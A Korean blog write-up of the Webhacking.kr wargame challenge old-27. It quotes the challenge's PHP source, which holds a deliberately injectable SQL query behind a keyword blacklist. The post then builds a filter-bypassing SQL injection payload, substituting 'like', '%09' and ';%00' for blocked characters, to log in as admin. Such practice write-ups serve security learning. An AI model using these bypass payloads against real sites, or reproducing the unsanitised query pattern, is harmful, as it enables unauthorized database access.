ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • <Webhacking.kr> old-27
    Wargame/Webhacking.kr 2021. 12. 12. 19:26

    old-27

    SQL Injection 문제다.

    view-source를 통해 페이지 소스 코드를 살펴보면

    <?php
      include "../../config.php";
      if($_GET['view_source']) view_source();
    ?><html>
    <head>
    <title>Challenge 27</title>
    </head>
    <body>
    <h1>SQL INJECTION</h1>
    <form method=get action=index.php>
    <input type=text name=no><input type=submit>
    </form>
    <?php
      if($_GET['no']){
      $db = dbconnect();
      if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
      $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
      if($r['id']=="guest") echo("guest");
      if($r['id']=="admin") solve(27); // admin's no = 2
    }
    ?>
    <br><a href=?view_source=1>view-source</a>
    </body>
    </html>

    먼저, input 박스가 GET 방식으로 작동하는 것을 알 수 있다.

    <form method=get action=index.php>
    <input type=text name=no><input type=submit>
    </form>

    그리고 PHP 부분을 살펴보면

    GET 방식으로 전달받은 no에서 #, select, (, 공백, limit, =, 0x를 필터링한다.

    if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");

    그 후, 쿼리의 결과를 배열로 하여 r로 가져온다.

    $r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");

    r['id']가 "guest"이면, "guest"를 출력하고, "admin"이면 문제가 풀린다.

    그리고 admin의 no는 2라고 한다.

    if($r['id']=="guest") echo("guest");
    if($r['id']=="admin") solve(27); // admin's no = 2

     

    쿼리는 select id from chall27 where id='guest' and no=({$_GET['no']})이다.

    admin의 no가 2이므로 GET 방식으로 전달받은 no에 "0) or no=2#"의 형태로 입력하면

    select id from chall27 where id='guest' and no=(0) or no=2#)가 되어

    no가 2인 id, admin을 조회하게 된다.

     

    이 문제에서는 =과 # 그리고 공백을 필터링하기 때문에

    =은 like로, #은 ;%00, 공백은 %09로 대체할 수 있다.

     

    따라서, URL창에 ?no=0)%09or%09no%09like%092;%00을 입력하면

    문제를 해결할 수 있다.

    'Wargame > Webhacking.kr' 카테고리의 다른 글

    <Webhacking.kr> old-33  (0) 2021.12.15
    <Webhacking.kr> old-26  (0) 2021.12.12
    <Webhacking.kr> old-23  (0) 2021.12.06
    <Webhacking.kr> old-24  (0) 2021.12.06
    <Webhacking.kr> old-22  (0) 2021.12.05
Designed by Tistory.